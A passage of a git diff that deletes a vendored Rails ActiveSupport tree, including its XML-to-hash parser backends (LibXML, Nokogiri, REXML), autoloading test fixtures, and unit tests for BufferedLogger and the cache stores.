-      if hash.has_key?(key)
-        if hash[key].instance_of?(Array)
-          hash[key] << value
-        else
-          hash[key] = [hash[key], value]
-        end
-      elsif value.instance_of?(Array)
-        hash[key] = [value]
-      else
-        hash[key] = value
-      end
-      hash
-    end
-
-    # Converts the attributes array of an XML element into a hash.
-    # Returns an empty Hash if node has no attributes.
-    #
-    # element::
-    #   XML element to extract attributes from.
-    def get_attributes(element)
-      attribute_hash = {}
-      attributes = element.attributes
-      for i in 0...attributes.length
-         attribute_hash[attributes.item(i).name] =  attributes.item(i).value
-       end
-      attribute_hash
-    end
-
-    # Determines if a document element has text content
-    #
-    # element::
-    #   XML element to be checked.
-    def texts(element)
-      texts = []
-      child_nodes = element.child_nodes
-      for i in 0...child_nodes.length
-        item = child_nodes.item(i)
-        if item.node_type == Node.TEXT_NODE
-          texts << item.get_data
-        end
-      end
-      texts
-    end
-
-    # Determines if a document element has text content
-    #
-    # element::
-    #   XML element to be checked.
-    def empty_content?(element)
-      text = ''
-      child_nodes = element.child_nodes
-      for i in 0...child_nodes.length
-        item = child_nodes.item(i)
-        if item.node_type == Node.TEXT_NODE
-          text << item.get_data.strip
-        end
-      end
-      text.strip.length == 0
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb
deleted file mode 100644
index 837a1df6..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/libxml.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'libxml'
-
-# = XmlMini LibXML implementation
-module ActiveSupport
-  module XmlMini_LibXML #:nodoc:
-    extend self
-
-    # Parse an XML Document string into a simple hash using libxml.
-    # string::
-    #   XML Document string to parse
-    def parse(string)
-      if string.blank?
-        {}
-      else
-        LibXML::XML::Parser.string(string.strip).parse.to_hash
-      end
-    end
-  end
-end
-
-module LibXML
-  module Conversions
-    module Document
-      def to_hash
-        root.to_hash
-      end
-    end
-
-    module Node
-      CONTENT_ROOT = '__content__'.freeze
-
-      # Convert XML document to hash
-      #
-      # hash::
-      #   Hash to merge the converted element into.
-      def to_hash(hash={})
-        node_hash = {}
-
-        # Insert node hash into parent hash correctly.
-        case hash[name]
-          when Array then hash[name] << node_hash
-          when Hash  then hash[name] = [hash[name], node_hash]
-          when nil   then hash[name] = node_hash
-          else raise "Unexpected error during hash insertion!"
-        end
-
-        # Handle child elements
-        each_child do |c|
-          if c.element?
-            c.to_hash(node_hash)
-          elsif c.text? || c.cdata?
-            node_hash[CONTENT_ROOT] ||= ''
-            node_hash[CONTENT_ROOT] << c.content
-          end
-        end
-
-
-        # Remove content node if it is blank
-        if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
-          node_hash.delete(CONTENT_ROOT)
-        end
-
-        # Handle attributes
-        each_attr { |a| node_hash[a.name] = a.value }
-
-        hash
-      end
-    end
-  end
-end
-
-LibXML::XML::Document.send(:include, LibXML::Conversions::Document)
-LibXML::XML::Node.send(:include, LibXML::Conversions::Node)
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/libxmlsax.rb
deleted file mode 100644
index a88607d8..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/libxmlsax.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require 'libxml'
-
-# = XmlMini LibXML implementation using a SAX-based parser
-module ActiveSupport
-  module XmlMini_LibXMLSAX
-    extend self
-
-    # Class that will build the hash while the XML document
-    # is being parsed using SAX events.
-    class HashBuilder
-
-      include LibXML::XML::SaxParser::Callbacks
-
-      CONTENT_KEY   = '__content__'.freeze
-      HASH_SIZE_KEY = '__hash_size__'.freeze
-
-      attr_reader :hash
-
-      def current_hash
-        @hash_stack.last
-      end
-
-      def on_start_document
-        @hash = { CONTENT_KEY => '' }
-        @hash_stack = [@hash]
-      end
-
-      def on_end_document
-        @hash = @hash_stack.pop
-        @hash.delete(CONTENT_KEY)
-      end
-
-      def on_start_element(name, attrs = {})
-        new_hash = { CONTENT_KEY => '' }.merge(attrs)
-        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
-
-        case current_hash[name]
-          when Array then current_hash[name] << new_hash
-          when Hash  then current_hash[name] = [current_hash[name], new_hash]
-          when nil   then current_hash[name] = new_hash
-        end
-
-        @hash_stack.push(new_hash)
-      end
-
-      def on_end_element(name)
-        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ''
-          current_hash.delete(CONTENT_KEY)
-        end
-        @hash_stack.pop
-      end
-
-      def on_characters(string)
-        current_hash[CONTENT_KEY] << string
-      end
-
-      alias_method :on_cdata_block, :on_characters
-    end
-
-    attr_accessor :document_class
-    self.document_class = HashBuilder
-
-    def parse(string)
-      return {} if string.blank?
-      LibXML::XML::Error.set_handler(&LibXML::XML::Error::QUIET_HANDLER)
-      parser = LibXML::XML::SaxParser.string(string)
-      document = self.document_class.new
-
-      parser.callbacks = document
-      parser.parse
-      document.hash
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb
deleted file mode 100644
index 096ae0f4..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require 'nokogiri'
-
-# = XmlMini Nokogiri implementation
-module ActiveSupport
-  module XmlMini_Nokogiri #:nodoc:
-    extend self
-
-    # Parse an XML Document string into a simple hash using libxml / nokogiri.
-    # string::
-    #   XML Document string to parse
-    def parse(string)
-      if string.blank?
-        {}
-      else
-        doc = Nokogiri::XML(string)
-        raise doc.errors.first if doc.errors.length > 0
-        doc.to_hash
-      end
-    end
-
-    module Conversions
-      module Document
-        def to_hash
-          root.to_hash
-        end
-      end
-
-      module Node
-        CONTENT_ROOT = '__content__'.freeze
-
-        # Convert XML document to hash
-        #
-        # hash::
-        #   Hash to merge the converted element into.
-        def to_hash(hash = {})
-          node_hash = {}
-
-          # Insert node hash into parent hash correctly.
-          case hash[name]
-            when Array then hash[name] << node_hash
-            when Hash  then hash[name] = [hash[name], node_hash]
-            when nil   then hash[name] = node_hash
-            else raise "Unexpected error during hash insertion!"
-          end
-
-          # Handle child elements
-          children.each do |c|
-            if c.element?
-              c.to_hash(node_hash)
-            elsif c.text? || c.cdata?
-              node_hash[CONTENT_ROOT] ||= ''
-              node_hash[CONTENT_ROOT] << c.content
-             end
-          end
-
-          # Remove content node if it is blank and there are child tags
-          if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
-            node_hash.delete(CONTENT_ROOT)
-          end
-
-          # Handle attributes
-          attribute_nodes.each { |a| node_hash[a.node_name] = a.value }
-
-          hash
-        end
-      end
-    end
-
-    Nokogiri::XML::Document.send(:include, Conversions::Document)
-    Nokogiri::XML::Node.send(:include, Conversions::Node)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/nokogirisax.rb
deleted file mode 100644
index f13c9bf2..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/nokogirisax.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'nokogiri'
-
-# = XmlMini Nokogiri implementation using a SAX-based parser
-module ActiveSupport
-  module XmlMini_NokogiriSAX
-    extend self
-
-    # Class that will build the hash while the XML document
-    # is being parsed using SAX events.
-    class HashBuilder < Nokogiri::XML::SAX::Document
-
-      CONTENT_KEY   = '__content__'.freeze
-      HASH_SIZE_KEY = '__hash_size__'.freeze
-
-      attr_reader :hash
-
-      def current_hash
-        @hash_stack.last
-      end
-
-      def start_document
-        @hash = {}
-        @hash_stack = [@hash]
-      end
-
-      def end_document
-        raise "Parse stack not empty!" if @hash_stack.size > 1
-      end
-
-      def error(error_message)
-        raise error_message
-      end
-
-      def start_element(name, attrs = [])
-        new_hash = { CONTENT_KEY => '' }
-        new_hash[attrs.shift] = attrs.shift while attrs.length > 0
-        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
-
-        case current_hash[name]
-          when Array then current_hash[name] << new_hash
-          when Hash  then current_hash[name] = [current_hash[name], new_hash]
-          when nil   then current_hash[name] = new_hash
-        end
-
-        @hash_stack.push(new_hash)
-      end
-
-      def end_element(name)
-        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ''
-          current_hash.delete(CONTENT_KEY)
-        end
-        @hash_stack.pop
-      end
-
-      def characters(string)
-        current_hash[CONTENT_KEY] << string
-      end
-
-      alias_method :cdata_block, :characters
-    end
-
-    attr_accessor :document_class
-    self.document_class = HashBuilder
-
-    def parse(string)
-      return {} if string.blank?
-      document = self.document_class.new
-      parser = Nokogiri::XML::SAX::Parser.new(document)
-      parser.parse(string)
-      document.hash
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb
deleted file mode 100644
index a8fdeca9..00000000
--- a/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-# = XmlMini ReXML implementation
-module ActiveSupport
-  module XmlMini_REXML #:nodoc:
-    extend self
-
-    CONTENT_KEY = '__content__'.freeze
-
-    # Parse an XML Document string into a simple hash
-    #
-    # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
-    # and uses the defaults from ActiveSupport
-    #
-    # string::
-    #   XML Document string to parse
-    def parse(string)
-      require 'rexml/document' unless defined?(REXML::Document)
-      doc = REXML::Document.new(string)
-      merge_element!({}, doc.root)
-    end
-
-    private
-      # Convert an XML element and merge into the hash
-      #
-      # hash::
-      #   Hash to merge the converted element into.
-      # element::
-      #   XML element to merge into hash
-      def merge_element!(hash, element)
-        merge!(hash, element.name, collapse(element))
-      end
-
-      # Actually converts an XML document element into a data structure.
-      #
-      # element::
-      #   The document element to be collapsed.
-      def collapse(element)
-        hash = get_attributes(element)
-
-        if element.has_elements?
-          element.each_element {|child| merge_element!(hash, child) }
-          merge_texts!(hash, element) unless empty_content?(element)
-          hash
-        else
-          merge_texts!(hash, element)
-        end
-      end
-
-      # Merge all the texts of an element into the hash
-      #
-      # hash::
-      #   Hash to add the converted emement to.
-      # element::
-      #   XML element whose texts are to me merged into the hash
-      def merge_texts!(hash, element)
-        unless element.has_text?
-          hash
-        else
-          # must use value to prevent double-escaping
-          merge!(hash, CONTENT_KEY, element.texts.sum(&:value))
-        end
-      end
-
-      # Adds a new key/value pair to an existing Hash. If the key to be added
-      # already exists and the existing value associated with key is not
-      # an Array, it will be wrapped in an Array. Then the new value is
-      # appended to that Array.
-      #
-      # hash::
-      #   Hash to add key/value pair to.
-      # key::
-      #   Key to be added.
-      # value::
-      #   Value to be associated with key.
-      def merge!(hash, key, value)
-        if hash.has_key?(key)
-          if hash[key].instance_of?(Array)
-            hash[key] << value
-          else
-            hash[key] = [hash[key], value]
-          end
-        elsif value.instance_of?(Array)
-          hash[key] = [value]
-        else
-          hash[key] = value
-        end
-        hash
-      end
-
-      # Converts the attributes array of an XML element into a hash.
-      # Returns an empty Hash if node has no attributes.
-      #
-      # element::
-      #   XML element to extract attributes from.
-      def get_attributes(element)
-        attributes = {}
-        element.attributes.each { |n,v| attributes[n] = v }
-        attributes
-      end
-
-      # Determines if a document element has text content
-      #
-      # element::
-      #   XML element to be checked.
-      def empty_content?(element)
-        element.texts.join.blank?
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/activesupport.rb b/vendor/rails/activesupport/lib/activesupport.rb
deleted file mode 100644
index 9cae13f0..00000000
--- a/vendor/rails/activesupport/lib/activesupport.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_support'
-ActiveSupport::Deprecation.warn 'require "activesupport" is deprecated and will be removed in Rails 3. Use require "active_support" instead.'
diff --git a/vendor/rails/activesupport/test/abstract_unit.rb b/vendor/rails/activesupport/test/abstract_unit.rb
deleted file mode 100644
index 26f11b30..00000000
--- a/vendor/rails/activesupport/test/abstract_unit.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'rubygems'
-require 'test/unit'
-require 'empty_bool'
-
-ENV['NO_RELOAD'] = '1'
-
-$:.unshift File.expand_path('../../lib', __FILE__)
-require 'active_support'
-require 'active_support/test_case'
-
-def uses_memcached(test_name)
-  require 'memcache'
-  MemCache.new('localhost').stats
-  yield
-rescue MemCache::MemCacheError
-  $stderr.puts "Skipping #{test_name} tests. Start memcached and try again."
-end
-
-def with_kcode(code)
-  if RUBY_VERSION < '1.9'
-    begin
-      old_kcode, $KCODE = $KCODE, code
-      yield
-    ensure
-      $KCODE = old_kcode
-    end
-  else
-    yield
-  end
-end
-
-# Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
-
-if RUBY_VERSION < '1.9'
-  $KCODE = 'UTF8'
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/a/b.rb b/vendor/rails/activesupport/test/autoloading_fixtures/a/b.rb
deleted file mode 100644
index 9c9e6454..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/a/b.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::B
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/a/c/d.rb b/vendor/rails/activesupport/test/autoloading_fixtures/a/c/d.rb
deleted file mode 100644
index 0f40d6fb..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/a/c/d.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::C::D
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/a/c/e/f.rb b/vendor/rails/activesupport/test/autoloading_fixtures/a/c/e/f.rb
deleted file mode 100644
index 57dba5a3..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/a/c/e/f.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class A::C::E::F
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/application.rb b/vendor/rails/activesupport/test/autoloading_fixtures/application.rb
deleted file mode 100644
index d7d3096d..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/application.rb
+++ /dev/null
@@ -1 +0,0 @@
-ApplicationController = 10
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder.rb b/vendor/rails/activesupport/test/autoloading_fixtures/class_folder.rb
deleted file mode 100644
index ad2b27be..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ClassFolder
-  ConstantInClassFolder = 'indeed'
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb b/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
deleted file mode 100644
index ef66ddaa..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ClassFolder::ClassFolderSubclass < ClassFolder
-  ConstantInClassFolder
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb b/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
deleted file mode 100644
index 8235e907..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/inline_class.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ClassFolder::InlineClass
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb b/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
deleted file mode 100644
index 77ea230d..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/class_folder/nested_class.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class ClassFolder
-  class NestedClass
-  end
-  
-  class SiblingClass
-  end
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/conflict.rb b/vendor/rails/activesupport/test/autoloading_fixtures/conflict.rb
deleted file mode 100644
index 4ac62019..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/conflict.rb
+++ /dev/null
@@ -1 +0,0 @@
-Conflict = 2
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/counting_loader.rb b/vendor/rails/activesupport/test/autoloading_fixtures/counting_loader.rb
deleted file mode 100644
index 4225c441..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/counting_loader.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-$counting_loaded_times ||= 0
-$counting_loaded_times += 1
-
-module CountingLoader
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/cross_site_dependency.rb b/vendor/rails/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
deleted file mode 100644
index 21ee554e..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/cross_site_dependency.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class CrossSiteDependency
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/e.rb b/vendor/rails/activesupport/test/autoloading_fixtures/e.rb
deleted file mode 100644
index 2f59e4fb..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/e.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class E
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb b/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
deleted file mode 100644
index ca834370..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/inline_class.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ModuleFolder::InlineClass
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb b/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
deleted file mode 100644
index fc4076bd..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_class.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-module ModuleFolder
-  class NestedClass
-  end
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb b/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
deleted file mode 100644
index 80244b8b..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/module_folder/nested_sibling.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ModuleFolder::NestedSibling
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb b/vendor/rails/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
deleted file mode 100644
index d12d02f3..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
+++ /dev/null
@@ -1 +0,0 @@
-ModuleWithCustomConstMissing::A::B = "10"
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/multiple_constant_file.rb b/vendor/rails/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
deleted file mode 100644
index a9ff4eb8..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-MultipleConstantFile = 10
-SiblingConstant = MultipleConstantFile * 2
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/raises_name_error.rb b/vendor/rails/activesupport/test/autoloading_fixtures/raises_name_error.rb
deleted file mode 100644
index a49960ab..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/raises_name_error.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class RaisesNameError
-  FooBarBaz
-end
diff --git a/vendor/rails/activesupport/test/autoloading_fixtures/raises_no_method_error.rb b/vendor/rails/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
deleted file mode 100644
index e1b8fce2..00000000
--- a/vendor/rails/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class RaisesNoMethodError
-  self.foobar_method_doesnt_exist
-end
diff --git a/vendor/rails/activesupport/test/buffered_logger_test.rb b/vendor/rails/activesupport/test/buffered_logger_test.rb
deleted file mode 100644
index 380c98f8..00000000
--- a/vendor/rails/activesupport/test/buffered_logger_test.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-require 'fileutils'
-
-class BufferedLoggerTest < Test::Unit::TestCase
-  def setup
-    @message = "A debug message"
-    @integer_message = 12345
-    @output  = StringIO.new
-    @logger  = ActiveSupport::BufferedLogger.new(@output)
-  end
-
-  def test_should_log_debugging_message_when_debugging
-    @logger.level = Logger::DEBUG
-    @logger.add(Logger::DEBUG, @message)
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_not_log_debug_messages_when_log_level_is_info
-    @logger.level = Logger::INFO
-    @logger.add(Logger::DEBUG, @message)
-    assert ! @output.string.include?(@message)
-  end
-
-  def test_should_add_message_passed_as_block_when_using_add
-    @logger.level = Logger::INFO
-    @logger.add(Logger::INFO) {@message}
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_add_message_passed_as_block_when_using_shortcut
-    @logger.level = Logger::INFO
-    @logger.info {@message}
-    assert @output.string.include?(@message)
-  end
-
-  def test_should_convert_message_to_string
-    @logger.level = Logger::INFO
-    @logger.info @integer_message
-    assert @output.string.include?(@integer_message.to_s)
-  end
-
-  def test_should_convert_message_to_string_when_passed_in_block
-    @logger.level = Logger::INFO
-    @logger.info {@integer_message}
-    assert @output.string.include?(@integer_message.to_s)
-  end
-
-  def test_should_not_evaluate_block_if_message_wont_be_logged
-    @logger.level = Logger::INFO
-    evaluated = false
-    @logger.add(Logger::DEBUG) {evaluated = true}
-    assert evaluated == false
-  end
-
-  def test_should_not_mutate_message
-    message_copy = @message.dup
-    @logger.info @message
-    assert_equal message_copy, @message
-  end
-
-
-  [false, nil, 0].each do |disable|
-    define_method "test_disabling_auto_flush_with_#{disable.inspect}_should_buffer_until_explicit_flush" do
-      @logger.auto_flushing = disable
-
-      4.times do
-        @logger.info 'wait for it..'
-        assert @output.string.empty?, "@output.string should be empty but it is #{@output.string}"
-      end
-
-      @logger.flush
-      assert !@output.string.empty?, "@logger.send(:buffer).size.to_s should not be empty but it is empty"
-    end
-
-    define_method "test_disabling_auto_flush_with_#{disable.inspect}_should_flush_at_max_buffer_size_as_failsafe" do
-      @logger.auto_flushing = disable
-      assert_equal ActiveSupport::BufferedLogger::MAX_BUFFER_SIZE, @logger.auto_flushing
-
-      (ActiveSupport::BufferedLogger::MAX_BUFFER_SIZE - 1).times do
-        @logger.info 'wait for it..'
-        assert @output.string.empty?, "@output.string should be empty but is #{@output.string}"
-      end
-
-      @logger.info 'there it is.'
-      assert !@output.string.empty?, "@logger.send(:buffer).size.to_s should not be empty but it is empty"
-    end
-  end
-
-  def test_should_know_if_its_loglevel_is_below_a_given_level
-    ActiveSupport::BufferedLogger::Severity.constants.each do |level|
-      @logger.level = ActiveSupport::BufferedLogger::Severity.const_get(level) - 1
-      assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
-    end
-  end
-
-  def test_should_auto_flush_every_n_messages
-    @logger.auto_flushing = 5
-
-    4.times do
-      @logger.info 'wait for it..'
-      assert @output.string.empty?, "@output.string should be empty but it is #{@output.string}"
-    end
-
-    @logger.info 'there it is.'
-    assert !@output.string.empty?, "@output.string should not be empty but it is empty"
-  end
-
-  def test_should_create_the_log_directory_if_it_doesnt_exist
-    tmp_directory = File.join(File.dirname(__FILE__), "tmp")
-    log_file = File.join(tmp_directory, "development.log")
-    assert !File.exist?(tmp_directory)
-    @logger  = ActiveSupport::BufferedLogger.new(log_file)
-    assert File.exist?(tmp_directory)
-  ensure
-    FileUtils.rm_rf(tmp_directory)
-  end
-
-  def test_logger_should_maintain_separate_buffers_for_each_thread
-    @logger.auto_flushing = false
-
-    a = Thread.new do
-      @logger.info("a"); Thread.pass;
-      @logger.info("b"); Thread.pass;
-      @logger.info("c"); @logger.flush
-    end
-
-    b = Thread.new do
-      @logger.info("x"); Thread.pass;
-      @logger.info("y"); Thread.pass;
-      @logger.info("z"); @logger.flush
-    end
-
-    a.join
-    b.join
-
-    assert @output.string.include?("a\nb\nc\n")
-    assert @output.string.include?("x\ny\nz\n")
-  end
-
-  def test_flush_should_remove_empty_buffers
-    @logger.send :buffer
-    @logger.expects :clear_buffer
-    @logger.flush
-  end
-end
diff --git a/vendor/rails/activesupport/test/caching_test.rb b/vendor/rails/activesupport/test/caching_test.rb
deleted file mode 100644
index 918ca8b5..00000000
--- a/vendor/rails/activesupport/test/caching_test.rb
+++ /dev/null
@@ -1,355 +0,0 @@
-require 'logger'
-require 'abstract_unit'
-
-class CacheKeyTest < ActiveSupport::TestCase
-  def test_expand_cache_key
-    assert_equal 'name/1/2/true', ActiveSupport::Cache.expand_cache_key([1, '2', true], :name)
-  end
-end
-
-class CacheStoreSettingTest < ActiveSupport::TestCase
-  def test_file_fragment_cache_store
-    store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
-    assert_kind_of(ActiveSupport::Cache::FileStore, store)
-    assert_equal "/path/to/cache/directory", store.cache_path
-  end
-
-  def test_drb_fragment_cache_store
-    store = ActiveSupport::Cache.lookup_store :drb_store, "druby://localhost:9192"
-    assert_kind_of(ActiveSupport::Cache::DRbStore, store)
-    assert_equal "druby://localhost:9192", store.address
-  end
-
-  def test_mem_cache_fragment_cache_store
-    MemCache.expects(:new).with(%w[localhost], {})
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost"
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-  end
-
-  def test_mem_cache_fragment_cache_store_with_given_mem_cache
-    mem_cache = MemCache.new
-    MemCache.expects(:new).never
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-  end
-
-  def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
-    MemCache.expects(:new).never
-    memcache = Object.new
-    def memcache.get() true end
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-  end
-
-  def test_mem_cache_fragment_cache_store_with_multiple_servers
-    MemCache.expects(:new).with(%w[localhost 192.168.1.1], {})
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1'
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-  end
-
-  def test_mem_cache_fragment_cache_store_with_options
-    MemCache.expects(:new).with(%w[localhost 192.168.1.1], { :namespace => "foo" })
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo'
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
-  end
-
-  def test_object_assigned_fragment_cache_store
-    store = ActiveSupport::Cache.lookup_store ActiveSupport::Cache::FileStore.new("/path/to/cache/directory")
-    assert_kind_of(ActiveSupport::Cache::FileStore, store)
-    assert_equal "/path/to/cache/directory", store.cache_path
-  end
-end
-
-class CacheStoreTest < ActiveSupport::TestCase
-  def setup
-    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
-  end
-
-  def test_fetch_without_cache_miss
-    @cache.stubs(:read).with('foo', {}).returns('bar')
-    @cache.expects(:write).never
-    assert_equal 'bar', @cache.fetch('foo') { 'baz' }
-  end
-
-  def test_fetch_with_cache_miss
-    @cache.stubs(:read).with('foo', {}).returns(nil)
-    @cache.expects(:write).with('foo', 'baz', {})
-    assert_equal 'baz', @cache.fetch('foo') { 'baz' }
-  end
-
-  def test_fetch_with_forced_cache_miss
-    @cache.expects(:read).never
-    @cache.expects(:write).with('foo', 'bar', :force => true)
-    @cache.fetch('foo', :force => true) { 'bar' }
-  end
-end
-
-# Tests the base functionality that should be identical across all cache stores.
-module CacheStoreBehavior
-  def test_should_read_and_write_strings
-    @cache.write('foo', 'bar')
-    assert_equal 'bar', @cache.read('foo')
-  end
-
-  def test_should_read_and_write_hash
-    @cache.write('foo', {:a => "b"})
-    assert_equal({:a => "b"}, @cache.read('foo'))
-  end
-
-  def test_should_read_and_write_integer
-    @cache.write('foo', 1)
-    assert_equal 1, @cache.read('foo')
-  end
-
-  def test_should_read_and_write_nil
-    @cache.write('foo', nil)
-    assert_equal nil, @cache.read('foo')
-  end
-
-  def test_fetch_without_cache_miss
-    @cache.write('foo', 'bar')
-    assert_equal 'bar', @cache.fetch('foo') { 'baz' }
-  end
-
-  def test_fetch_with_cache_miss
-    assert_equal 'baz', @cache.fetch('foo') { 'baz' }
-  end
-
-  def test_fetch_with_forced_cache_miss
-    @cache.fetch('foo', :force => true) { 'bar' }
-  end
-
-  def test_increment
-    @cache.write('foo', 1, :raw => true)
-    assert_equal 1, @cache.read('foo', :raw => true).to_i
-    assert_equal 2, @cache.increment('foo')
-    assert_equal 2, @cache.read('foo', :raw => true).to_i
-    assert_equal 3, @cache.increment('foo')
-    assert_equal 3, @cache.read('foo', :raw => true).to_i
-  end
-
-  def test_decrement
-    @cache.write('foo', 3, :raw => true)
-    assert_equal 3, @cache.read('foo', :raw => true).to_i
-    assert_equal 2, @cache.decrement('foo')
-    assert_equal 2, @cache.read('foo', :raw => true).to_i
-    assert_equal 1, @cache.decrement('foo')
-    assert_equal 1, @cache.read('foo', :raw => true).to_i
-  end
-
-  def test_exist
-    @cache.write('foo', 'bar')
-    assert @cache.exist?('foo')
-    assert !@cache.exist?('bar')
-  end
-end
-
